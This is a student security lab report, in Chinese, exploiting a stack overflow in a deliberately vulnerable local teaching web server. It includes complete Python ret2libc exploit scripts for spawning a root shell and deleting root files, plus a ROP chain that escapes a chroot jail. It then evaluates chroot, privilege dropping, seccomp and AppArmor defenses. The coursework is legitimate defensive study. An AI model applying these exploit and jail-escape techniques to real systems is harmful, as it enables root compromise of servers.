信息系统安全实验记录

利用Web服务器的漏洞进程获取Shell(或删除根权限文件/tmp/test)

实验环境配置

首先,需要配置实验环境。具体来说,需要禁用ASLR,然后编译目标程序,设置touchstone的权限并启动服务器。

1
2
3
4
5
sudo sysctl -w kernel.randomize_va_space=0
sudo make
sudo chown root touchstone
sudo chmod +s touchstone
./touchstone
服务器启动后的进程信息

然后使用浏览器输入127.0.0.1:80访问服务器界面,输入用户名:lixiang和密码:123456进行注册。

执行攻击

首先,使用ldd查看libc.so.6加载的基地址信息为0xf7d9d000

1
ldd banksv
image-20240619110810753

使用ropper查看”/bin/bash”字符串相对于基地址的偏移地址为0x0018e363

1
ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"
image-20240619110952993

使用readelf查看system、exit、unlink函数的地址分别为0x000417800x000340c00x0004f4100

1
2
3
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"  
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " exit"
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " unlink"
image-20240619112513036

然后根据服务器日志,我们可以看到ebp地址为0xffffd218

image-20240619112956513

需要定位漏洞点getToken函数。

image-20240619123342290

该函数使用了固定大小的字符数组s[1024],但没有检查i是否超出数组边界。当读取的字符数超过1024时,会发生缓冲区溢出,这是一个栈溢出,然后可以通过覆盖返回地址来实施攻击。

1
2
3
4
5
6
char s[1024];
while (1){
// ...
s[i++] = c;
// ...
}

修改exploit-template.py脚本,将地址替换为上述地址。type1用于获取shell,type2用于删除文件。但首先需要了解漏洞是什么。

为了找到溢出位置,我们必须找到存储返回地址的位置在getToken()栈帧与缓冲区s之间的距离。由于缓冲区变量s的长度为1024,因此该长度必须大于1024。使用以下代码进行探测:

1
req += b'A' * 1024 + cyclic(200)

使用python3运行以获取以下输出。

1
python3 exploit1.py 2 
image-20240619124023743
1
sudo dmesg
image-20240619124114951

这是内核输出日志。我们可以看到返回地址被覆盖为0x6161616c,实际上对应于”laaa”,然后计算偏移量为44,因此1024 + 44 = 1068可以覆盖返回地址。

  • 获取shell

    1
    python3 exploit_1.py 1
    image-20240619125150850

    结果如上所示,地址依次为system函数、exit函数、“/bin/sh”地址,符合我们想要构造的栈结构。

  • 删除文件

    接下来,测试删除/tmp/test.txt。首先创建/tmp/test.txt并将其所有者更改为root。

    1
    2
    3
    touch /tmp/test.txt
    sudo chown root /tmp/test.txt
    ll /tmp/test.txt
    image-20240619125710551
    image-20240619125937003

攻击的Python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/python  
import sys
import socket
import traceback
import struct
import time
import os.path
import binascii
from pwn import *

# libc基地址
# ASLR应关闭,以便libc的基地址在下次重启之前不会改变
# 您可以使用"ldd ./program"来检查libc基地址
base_addr = 0xf7d9d000

# libc内部函数(字符串)的所有偏移量变化不大(有时会变化,需要预先检查)。
# 要获取函数的偏移量,可以使用:
## readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"
# 获取"/bin/sh":
## ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"

# system
sys_addr = base_addr + 0x00041780
# /bin/sh
sh_addr = base_addr + 0x0018e363
# exit
ex_addr = base_addr + 0x000340c0
# unlink
ul_addr = base_addr + 0x000f4100
# dead
d_addr = 0xdeadbeef


# ebp 为了简化任务,我们打印getToken函数(漏洞)中的ebp
ebp_addr = 0xffffd218



## 以下是您应该修改的函数,以构造一个
## HTTP请求,该请求将在某些部分
## 漏洞Web服务器中导致缓冲区溢出并利用它。

def build_exploit(shellcode, type):

ul_arg = "/tmp/test.txt\0"
ul_arg_addr = ebp_addr + 20

sys_arg = "/bin/sh\0"
sys_arg_addr = ebp_addr + 20

req = ("POST / HTTP/1.1\r\n").encode('latin-1')
# 除了"Content-Length"以外的所有头信息都不重要
req += ("Host: 127.0.0.1\r\n").encode('latin-1')
# 下面的Content-Length是有用的,取决于
# 用户名加密码的长度,您需要使用wireshark(与Web浏览器一起)
# 检查长度
req += ("Content-Length: 58\r\n").encode('latin-1')
req += ("Origin: http://127.0.0.1\r\n").encode('latin-1')
req += ("Connection: keep-alive\r\n").encode('latin-1')
req += ("Referer: http://127.0.0.1/\r\n").encode('latin-1')

req += ("Hacking: ").encode('latin-1')
# 对于不同的操作系统(和编译),填充的长度
# 劫持栈中返回地址的长度可能不同,
# 因此您需要调试程序以检查和调整。
req += b'A' * 1068
# b'C' * 4

# 使用libc中的"/bin/sh"字符串
if type == 1:
req += p32(sys_addr)
req += p32(ex_addr)
req += p32(sh_addr)
req += p32(0)

# 将"/bin/sh"字符串放入栈中
# ebp用于定位字符串的位置
# 注意:使用此方法,您可以将任意字符串放入栈中,
# 以便"system"可以执行任意命令
#req += p32(sys_addr)
#req += p32(ex_addr)
#req += p32(sys_arg_addr)
#req += p32(0)
#req += sys_arg.encode('latin-1')


# 删除指定路径"ul_arg"的文件
if type == 2:
req += p32(ul_addr)
req += p32(ex_addr)
req += p32(ul_arg_addr)
req += p32(0)
req += ul_arg.encode('latin-1')


req += ("\r\n").encode('latin-1')
req += ("\r\n").encode('latin-1')

# 以下是您可以通过Web浏览器注册到Web服务器的用户名/密码
# 这些信息将存储在后面的sqlite数据库中。
# 您需要根据自己的注册更改这些信息。

# 请注意,成功的POST将由服务器以提示页面响应。
# 通过使用成功的响应,您可以判断服务器是否已
# 崩溃(通过利用),以便您可以相应地调整填充。
req += ("login_username=lixiang&login_password=123456&submit_login=Login").encode('latin-1')

print(req)
return req

#如果您无法使用p32(在pwnlib中),可以使用以下行
#req += (addr1).to_bytes(4, byteorder='little')


def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))

print("Connected, sending request...")
sock.send(req)

print("Request sent, waiting for reply...")
rbuf = sock.recv(1024)
resp = ("").encode("latin-1")
while len(rbuf):
resp = resp+rbuf
rbuf = sock.recv(1024)

print("Received reply.")
sock.close()
return resp


if len(sys.argv) != 2:
print("Usage: " + sys.argv[0] + " type")
print("type: 1 for shell, 2 for unlink")
exit()

try:
shellcode = ""
req = build_exploit(shellcode, int(sys.argv[1]))
print("HTTP request:")
print(req)

resp = send_req("127.0.0.1", 80, req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())

遇到的问题

  1. 当服务器进程结束并重启时,常常会发生套接字绑定失败,因为端口80被占用。端口80是Apache服务器的默认端口,因此可以通过将Apache的默认端口修改为8080来解决此问题。

    1
    2
    3
    4
    5
    6
    7
    sudo su  
    systemctl disable apache2
    vim /etc/apache2/ports.conf
    # 将Listen 80...更改为:Listen 8080
    vim /etc/apache2/sites-available/000-default.conf
    # 将<VirtualHost *:80>...更改为:<VirtualHost *:8080>
    systemctl restart apache2
修改Apache服务监听端口成功时的图像
  1. 我发现通过setuid和sudo以这两种不同方式执行touchstone时,ebp值发生了变化。

    1
    ./touchstone
    image-20240619162514457
    1
    sudo ./touchstone
    image-20240619162549093

    AI回答:setuidsudo提供了不同的权限提升机制。setuid通过设置可执行文件的权限,以文件所有者的权限运行可执行文件,而sudo允许授权用户临时提升权限以执行特定命令。ebp值的变化可能是由于不同的执行环境和安全机制造成的,尤其是在涉及权限提升时。

使用chroot约束Web服务器,执行攻击,删除根权限文件/tmp/test

实验环境配置

为了避免影响之前实验的结果,将代码目录复制到code_chroot。当然,仍然需要禁用地址随机化以避免地址变化。

1
cp -r ./code ./code_chroot

执行chroot配置

在server.c中添加以下代码:

1
2
if(chroot("/jail") == 0)  
printf("chroot success\n");
image-20240619132459140
1
2
3
4
make  
sudo ./chroot-setup.sh
cd /jail
sudo ./touchstone
image-20240619132644219

执行攻击测试

创建测试文件然后启动服务器,发现成功打印了”chroot success”信息。

1
2
3
4
5
6
7
8
9
10
11
12
# 在tmp目录中创建测试文件  
sudo touch /tmp/test.txt
sudo chown root /tmp/test.txt
ll /tmp/test.txt

# 在/jail/tmp目录中创建测试文件
sudo touch /jail/tmp/test.txt
sudo chown root /jail/tmp/test.txt
ll /jail/tmp/test.txt

# 在/jail目录中启动服务器
./touchstone
image-20240619135337160

服务器进程的地址信息可能会发生变化,使用gdb重新检查(注意这里使用ldd是错误的,虽然它显示与之前相同,但需要使用gdb动态附加以查看地址)。

手册中的提示:监狱中的库是独立的,位于/jail/lib下(与原路径不同),因此需要重新查找libc基地址。

1
2
3
ps -aux | grep banksv
sudo gdb -q -p <PID>
info proc map
image-20240619133412947
image-20240619133327610

将脚本中的base_addr修改为exploit_2.py,然后执行删除文件功能。发现\tmp\text.txt未成功删除,但\jail\tmp\text.txt被删除。使用dmesg检查内核调试信息,未发现segmentfault,表明chroot有效,监狱目录外的测试文件未被删除。

image-20240619152219338

删除/tmp/test.txt文件

image-20240621163129108

然后尝试删除/tmp/test.txt文件。这需要使用chroot和chdir相关调用来实现,因此首先需要找到相关地址。

1
2
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "chroot"  
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "chdir"
image-20240621152017101
1
objdump -d banksv
image-20240621152216367

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#!/usr/bin/python
import sys
import socket
import traceback
import struct
import time
import os.path
import binascii
from pwn import *

# libc基地址
# ASLR应关闭,以便libc的基地址在下次重启之前不会改变
# 您可以使用"ldd ./program"来检查libc基地址
base_addr = 0xf7db2000

# libc内部函数(字符串)的所有偏移量变化不大(有时会变化,需要预先检查).
# 要获取函数的偏移量,可以使用:
## readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"
# 获取"/bin/sh":
## ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"

# system
sys_addr = base_addr + 0x00041780
# /bin/sh
sh_addr = base_addr + 0x0018e363
# exit
ex_addr = base_addr + 0x000340c0
# unlink
ul_addr = base_addr + 0x000f4100
# chroot
chr_addr = base_addr + 0x000fce60
#chdir
chd_addr = base_addr + 0x000f2c70
# pop-ret
pop_addr = 0x080d19a4
# dead
d_addr = 0xdeadbeef
# ebp 为了简化任务,我们打印getToken函数(漏洞)中的ebp
ebp_addr = 0xffffd218

## 以下是您应该修改的函数,以构造一个
## HTTP请求,该请求将在某些部分
## 漏洞Web服务器中导致缓冲区溢出并利用它。

def build_exploit(shellcode):
shift_val = 19 * 4

chd_arg = "..\0\0"
chd_arg_addr = ebp_addr + shift_val

chr_arg2 = "server\0\0"
chr_arg2_addr = ebp_addr + shift_val + 4

chr_arg = ".\0\0\0"
chr_arg_addr = ebp_addr + shift_val + 12

ul_arg = "/tmp/test.txt\0"
ul_arg_addr = ebp_addr + shift_val + 16

sys_arg = "/bin/sh\0"
sys_arg_addr = ebp_addr + 20

req = ("POST / HTTP/1.1\r\n").encode('latin-1')
# 除了"Content-Length"以外的所有头信息都不重要
req += ("Host: 127.0.0.1\r\n").encode('latin-1')
# 下面的Content-Length是有用的,取决于
# 用户名加密码的长度,您需要使用wireshark(与Web浏览器一起)
# 检查长度
req += ("Content-Length: 58\r\n").encode('latin-1')
req += ("Origin: http://127.0.0.1\r\n").encode('latin-1')
req += ("Connection: keep-alive\r\n").encode('latin-1')
req += ("Referer: http://127.0.0.1/\r\n").encode('latin-1')

req += ("Hacking: ").encode('latin-1')

# 对于不同的操作系统(和编译),填充的长度
# 劫持栈中返回地址的长度可能不同,
# 因此您需要调试程序以检查和调整。

req += b'A' * 1068

# 使用监狱破坏删除文件
req += p32(chr_addr)
req += p32(pop_addr)
req += p32(chr_arg2_addr)

req += p32(chd_addr)
req += p32(pop_addr)
req += p32(chd_arg_addr)

req += p32(chd_addr)
req += p32(pop_addr)
req += p32(chd_arg_addr)

req += p32(chr_addr)
req += p32(pop_addr)
req += p32(chr_arg_addr)

req += p32(ul_addr)
req += p32(pop_addr)
req += p32(ul_arg_addr)

req += p32(ex_addr)
req += p32(0)
req += p32(0)

# 19 * 4
req += chd_arg.encode('latin-1')
# 19 * 4 + 4
req += chr_arg2.encode('latin-1')
# 16 * 4 + 12
req += chr_arg.encode('latin-1')
# 16 * 4 + 16
req += ul_arg.encode('latin-1')


req += ("\r\n").encode('latin-1')
req += ("\r\n").encode('latin-1')

# 以下是您可以通过Web浏览器注册到Web服务器的用户名/密码
# 这些信息将存储在后面的sqlite数据库中。
# 您需要根据自己的注册更改这些信息。

# 请注意,成功的POST将由服务器以提示页面响应。
# 通过使用成功的响应,您可以判断服务器是否已
# 崩溃(通过利用),以便您可以相应地调整填充。
req += ("login_username=lixiang&login_password=123456&submit_login=Login").encode('latin-1')

print(req)
return req

#req += (addr1).to_bytes(4, byteorder='little')
#req += ("@@@@").encode('latin-1')


def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))

print("Connected, sending request...")
sock.send(req)

print("Request sent, waiting for reply...")
rbuf = sock.recv(1024)
resp = ("").encode("latin-1")
while len(rbuf):
resp=resp+rbuf
rbuf = sock.recv(1024)

print("Received reply.")
sock.close()
return resp


try:
shellcode = ""
if(os.path.exists("shellcode.bin")):
shellfile = open("shellcode.bin", "r")
shellcode = shellfile.read()
req = build_exploit(shellcode)
print("HTTP request:")
print(req)

resp = send_req("127.0.0.1", 80, req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())

防御结果分析

chroot是一种用于更改当前进程及其子进程的根目录的技术。通过chroot,进程及其子进程可以限制在特定的目录树中,防止它们访问目录树之外的文件和资源。这种技术通常用于增强系统安全性,特别是隔离服务程序(如Web服务器),以限制潜在攻击影响的范围。

chroot更改调用进程的根目录,使进程认为指定的目录是文件系统的根目录/。这样,进程无法访问该目录之外的任何文件或目录,从而在一定程度上实现进程隔离。

更改进程euid,测试攻击

实验环境配置

为了避免影响之前实验的结果,将代码目录复制到code_euid。当然,仍然需要禁用地址随机化以避免地址变化。

1
cp -r ./code ./code_euid

执行euid配置

在server.c中的fork子进程代码位置添加以下代码:

1
2
setresuid(1000,1000,1000);
printf("User IDs successfully set to 1000.\n");
image-20240619153144782
1
2
3
make  
sudo chown root touchstone
sudo chmod +s touchstone

执行攻击测试

创建测试文件然后启动服务器,发现成功打印了”User IDs successfully set to 1000”信息。

1
2
3
4
5
6
7
# 在tmp目录中创建测试文件  
sudo touch /tmp/test.txt
sudo chown root /tmp/test.txt
ll /tmp/test.txt

# 启动服务器
./touchstone
image-20240619153651371

执行脚本。由于与任务一没有区别且地址没有变化,直接使用exploit_1.py。

进行shell获取测试,发现可以获取shell,但处于非特权模式。

1
python3 exploit_1.py 1 # 尝试获取shell
image-20240621144856371
1
python3 exploit_1.py 2 # 尝试删除文件

进行文件删除测试,发现/tmp/test.txt文件仍然存在且未被删除。

image-20240619153901043

我们可以尝试将该文件的所有者修改为自己,看看是否可以删除。

1
2
# 修改测试文件所有者
sudo chown lixiang:root /tmp/test.txt
image-20240619154643560
image-20240619161636645

防御结果分析

此防御主要通过降低服务器启动的3个子进程的权限来防止恶意操作作为高权限用户。从上述结果中,我们还可以发现,在主动放弃root权限后,无法删除root拥有的文件,但当文件所有者更改为lixiang(普通用户)时,测试文件可以正常删除。我们还发现一个现象,即使文件的用户组是root,仍然可以删除,表明在删除文件时与用户组无关,而与文件所有者有关。

使用seccomp约束Web服务器的漏洞进程,测试攻击

实验环境配置

同样复制代码以创建一个新的code_seccomp

1
cp -r ./code ./code_seccomp

可以使用以下命令检查内核是否启用了seccomp:

1
2
3
4
5
# 检查是否启用了seccomp支持: 
grep CONFIG_SECCOMP= /boot/config-$(uname -r)

# 检查是否启用了seccomp过滤器:
grep CONFIG_SECCOMP_FILTER= /boot/config-$(uname -r)
image-20240619164635614

如果输出为:CONFIG_SECCOMP=yCONFIG_SECCOMP_FILTER=y,则表示内核已启用seccomp。要检查特定进程是否启用了seccomp,请使用以下命令:

1
cat /proc/<pid>/status | grep Seccomp

其中表示进程PID,可以使用ps -au查看。如果输出包含Seccomp字段,则表示该进程使用seccomp。如果没有此字段,则表示该进程未使用seccomp。

修改makefile文件,为banksv的编译选项添加-lseccomp

image-20240619170121404

发现添加了一个额外的libseccomp.so.2库,因此libc.so.6的基地址发生了变化,只需在脚本中修改。

image-20240619173424478

执行seccomp编码

默认允许,显式拒绝

修改banksv.c,添加以下代码,使用默认允许规则初始化,并添加拒绝unlink的规则,然后加载seccomp。

image-20240619165715018
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <seccomp.h>  
void init_seccomp()
{
int ret;
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
if(ctx == NULL) { exit(-1); }
ret = seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(unlink), 0);

if(ret < 0) { exit(-1); }
ret = seccomp_load(ctx);

if(ret < 0) { exit(-1); }
seccomp_release(ctx);
}
int main(int argc, char** argv) {

init_seccomp();

}

编译并运行服务器

1
2
3
4
sudo make  
sudo chown root touchstone
sudo chmod +s touchstone
sudo ./touchstone

默认拒绝,显式允许

修改banksv.c,添加以下代码,默认拒绝所有规则,并添加允许规则,然后加载seccomp。

image-20240619172906034
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void setup_deny_bydefault_rules()
{
int ret;
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if(ctx == NULL) { exit(-1); }

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigaction), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(socketcall), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(clone), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(set_robust_list), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getresuid32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getcwd), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(statx), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(_llseek), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fcntl64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchmod), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(geteuid32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchown32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fsync), 0);

// 攻击程序所需的权限
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(system), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(unlink), 0);

ret = seccomp_load(ctx);
if(ret < 0) { exit(-1); }
seccomp_release(ctx);
}

编译并运行服务器

1
2
3
4
sudo make  
sudo chown root touchstone
sudo chmod +s touchstone
sudo ./touchstone

执行攻击测试

默认允许,显式拒绝

首先创建测试文件

1
2
3
sudo touch /tmp/test.txt  
sudo chown root /tmp/test.txt
ll /tmp/test.txt

文件删除和获取shell均失败,并且会弹出系统错误报告。具体结果如下,dmesg内核消息中出现两个审计日志。

image-20240619172118447

这种方法会带来负面影响,例如无法注册和连接重置。

image-20240619171801241

默认拒绝,显式允许

首先创建测试文件

1
2
3
sudo touch /tmp/test.txt  
sudo chown root /tmp/test.txt
ll /tmp/test.txt

文件删除和获取shell均失败,结果如下:

image-20240621133745249

在AI的帮助下,审计日志的含义如下

image-20240621134819072

但我觉得这更麻烦,必须确定需要使用哪些系统调用,个人认为不如前一种好。

防御结果分析

seccomp(全名安全计算模式)是一种沙箱安全机制。在Linux系统中,大量系统调用直接暴露给用户空间程序。然而,并非所有系统调用都是必需的,不安全的代码滥用系统调用可能对系统构成安全威胁。通过seccomp,限制程序使用某些系统调用,可以减少系统的攻击面,并将程序置于“安全”状态,类似于系统调用的防火墙

使用AppArmor约束Web服务器的漏洞进程,测试攻击

实验环境配置

使用cp创建一个新的代码目录code_apparmor,然后需要启动apparmor并安装相关工具。

1
2
3
4
5
cp -r ./code ./code_apparmor

# 安装AppArmor和相关工具
sudo systemctl start apparmor
sudo apt install apparmor-profiles apparmor-utils

应用AppArmor

在服务器启动运行后,使用aa-genprof为banksv生成配置文件:

1
2
3
sudo ./touchstone 

sudo aa-genprof banksv

按F跳过,并结合aa-logprof手动添加规则以改进配置文件。配置文件路径为/etc/apparmor.d/home.lixiang.Desktop.lab2.code_apparmor.banksv

image-20240619184538978

打开配置文件并写入以下内容:

image-20240619185627994
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 最后修改时间:2024年6月19日03:45:02
#include <tunables/global>

/home/lixiang/Desktop/lab2/code_apparmor/banksv {

# 包含apache2-common和基本抽象,这些抽象包含一些常见的权限设置。
include <abstractions/apache2-common>
include <abstractions/base>

# 拒绝对/tmp目录中任何文件的读/写操作
deny /tmp/** mrwx,

# 允许对code_task5目录中所有文件的只读访问
/home/lixiang/Desktop/lab2/code_apparmor/** mr,

}

重新加载配置文件以使上述配置文件生效:

1
sudo apparmor_parser -r /etc/apparmor.d/home.lixiang.Desktop.lab2.code_apparmor.banksv

执行攻击测试

首先创建测试文件

1
2
3
sudo touch /tmp/test.txt  
sudo chown root /tmp/test.txt
ll /tmp/test.txt

文件删除失败:

image-20240619190107460

获取shell失败:

image-20240619190000149

使用dmesg查看内核输出日志,发现两个拒绝规则,正是shell执行和unlink:

image-20240619191557469

遇到的问题

一旦在配置文件中定义了对/tmp文件夹的拒绝,使用dmesg无法看到unlink被拒绝的消息,但不定义时可以看到,这感觉很奇怪。另一种可能性是包含的配置文件本身包含最基本的访问控制,包括unlink,但文件路径限制将直接导致一个问题,即访问拦截文件访问请求在文件系统级别被完全拦截,程序可能没有机会尝试unlink操作

1
2
# 拒绝对/tmp目录中任何文件的读/写操作  
deny /tmp/** mrwx,

防御结果分析

AppArmor(应用程序保护)是一个Linux内核安全模块,用于限制程序的能力,允许系统管理员定义每个程序可以访问的资源。AppArmor使用基于路径的访问控制机制,通过配置文件定义程序的安全策略。

AppArmor的主要特性:

  1. 基于路径的访问控制
    • 使用文件系统路径定义访问控制规则。
    • 配置文件指定程序可以访问哪些文件、目录和资源。
  2. 配置文件
    • 每个受保护程序都有一个相应的配置文件,通常位于/etc/apparmor.d/目录中。
    • 配置文件定义程序的权限,包括文件访问、网络访问、能力等。
  3. 两种模式
    • 强制模式:严格执行配置文件中的规则,任何违反规则的行为将被阻止并记录。
    • 投诉模式:记录违反规则的行为,但不阻止操作。此模式通常用于调试和配置规则。
  4. 集成到Linux内核中
    • 作为Linux安全模块(LSM)的一部分,直接在内核中实现,提供高效的安全控制。
  5. 灵活性
    • 支持不同的抽象文件(如<abstractions/base><abstractions/apache2-common>),用于简化常见权限的配置。